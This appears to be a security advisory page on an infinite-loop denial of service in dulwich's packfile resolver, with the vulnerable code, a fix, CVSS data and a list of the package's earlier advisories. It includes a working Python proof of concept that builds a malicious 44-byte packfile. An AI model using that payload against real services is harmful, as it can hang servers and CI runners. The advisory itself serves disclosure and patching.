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Medium

Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

  • Disclosed: 02.10.2026
  • Updated: 11.10.2026 15:18

Affected file

  • dulwich/pack.py (Method: Pack.resolve_object)

Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

Vulnerable Code Breakdown (dulwich/pack.py):

python
elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion

Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

  1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
  2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
  3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.

POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

python
from dulwich.pack import Pack
import struct, zlib, tempfile, os

# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]

Possible solution

  1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:
    python
    if delta_offset == 0:
    raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
  2. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) dulwich < 1.2.9 1.2.9

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-835
Platform
Python (PyPI)
Package
dulwich
Disclosed
02.10.2026
Updated
11.10.2026 15:18

Sources and licenses

OSV / GitHub Advisory Database - GHSA-35mr-4567-66vg - CC BY 4.0

Vulnerability history: dulwich

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (13) in the archive
Total entries
13
First → latest
03.2015 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 3
  • High 7
  • Medium 2
  • Low 1

Disclosures per year

earlier: 2

Severity:
  1. Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths
    High · 8.8 ghsa-8mcx-5rqc-vhmf < 1.2.9 1.2.9
  2. Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution this entry
    Medium · 6.5 ghsa-35mr-4567-66vg < 1.2.9 1.2.9
  3. Dulwich: Symlink write-through in checkout(paths=[]) via raw os.open bypasses all symlink protections
    High · 8.6 ghsa-8w8g-wq8h-fq33 >= 0.24.0, < 1.2.8 1.2.8
  4. Dulwich: Symlink directory traversal in filter-branch index_filter via cross-commit state persistence
    High · 8.6 ghsa-5fqc-mrg8-w798 >= 0.23.1, < 1.2.8 1.2.8
  5. Dulwich: Symlink directory traversal in stash pop allows arbitrary file write via intermediate directory symlinks
    High · 8.6 ghsa-cm62-gvxx-vmxx >= 0.22.5, < 1.2.8 1.2.8
  6. Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload
    High · 7.5 CVE-2026-52726 >= 0.23.2, < 1.2.5 1.2.5
  7. Dulwich Vulnerable to Command Injection via Merge Driver Path
    High CVE-2026-42563 >= 0.24.0, < 1.2.5 1.2.5
  8. Dulwich has an arbitrary file write via NTFS-hostile tree entries on Windows
    High · 8.8 CVE-2026-42305 >= 0.10.0, < 1.2.5 1.2.5
  9. Dulwich before 0.18.5, when an SSH subprocess is used, allows remote attackers to execute arbitrary commands via an ssh URL with an initial dash character in the hostname, a related issue to CVE-2017-
    Critical · 9.8 CVE-2017-16228 < 0.18.5 0.18.5
  10. The build_index_from_tree function in index.py in Dulwich before 0.9.9 allows remote attackers to execute arbitrary code via a commit with a directory path starting with .git/, which is not properly h
    Critical · 9.8 CVE-2014-9706 < 0.9.9 0.9.9
  11. Buffer overflow in the C implementation of the apply_delta function in _pack.c in Dulwich before 0.9.9 allows remote attackers to execute arbitrary code via a crafted pack file.
    Critical · 9.8 CVE-2015-0838 < 0.9.9 0.9.9

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